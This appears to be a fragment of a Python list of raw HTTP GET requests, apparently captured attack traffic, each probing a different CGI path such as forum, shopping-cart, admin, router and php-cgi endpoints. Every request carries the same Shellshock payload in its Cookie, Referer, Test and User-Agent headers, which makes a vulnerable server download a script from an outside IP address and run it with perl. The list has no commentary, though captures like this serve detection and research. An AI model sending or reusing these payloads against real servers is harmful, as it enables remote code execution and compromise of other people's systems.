 u'GET /cgi-bin/cbmc/forums.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/cartmanager.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/calendar/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/cached_feed.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/c_download.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/book.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/badmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/auction/auction.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/AT-admin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/astrocam.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/alienform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/aglimpse.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/af.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/addbanner.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/a1stats/a1disp4.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/.namazu.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin-sdb/printenvHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /catalog/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /bandwidth/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /axis-cgi/buffer/command.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /analyse.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /administrator.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/php HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/php5 HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/php4 HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/php-cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/php.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/firmwarecfg HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin///admin.html HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/admin.html HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/test-cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /sys-cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /dana-na/auth/url_default/welcome.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/tree.php HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/ICuGI/EST/blast_detail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/hello HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-sys/defaultwebpage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/w3mman2html.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /cgi-bin/status/status.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /wwwboard/wwwboard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /wwwboard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /wwwadmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /webtools/bonsai/showcheckins.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /webtools/bonsai/cvsqueryform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /webtools/bonsai/cvsquery.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /webtools/bonsai/cvslog.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /webtools/bonsai/cvsblame.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /webtools/bonsai/ccvsblame.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /Web_Store/web_store.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /users/scripts/submit.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /userreg.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /upload.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /tmUnblock.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /test.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /template.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /technote/print.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /submit.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /siteUserMod.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /site_searcher.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /shop/normal_html.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /shop/member_html.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /SetSecurity.shmHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /setpasswd.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /servers/link.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /scancfg.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /sampleposteddata.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
 u'GET /sample04.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl',
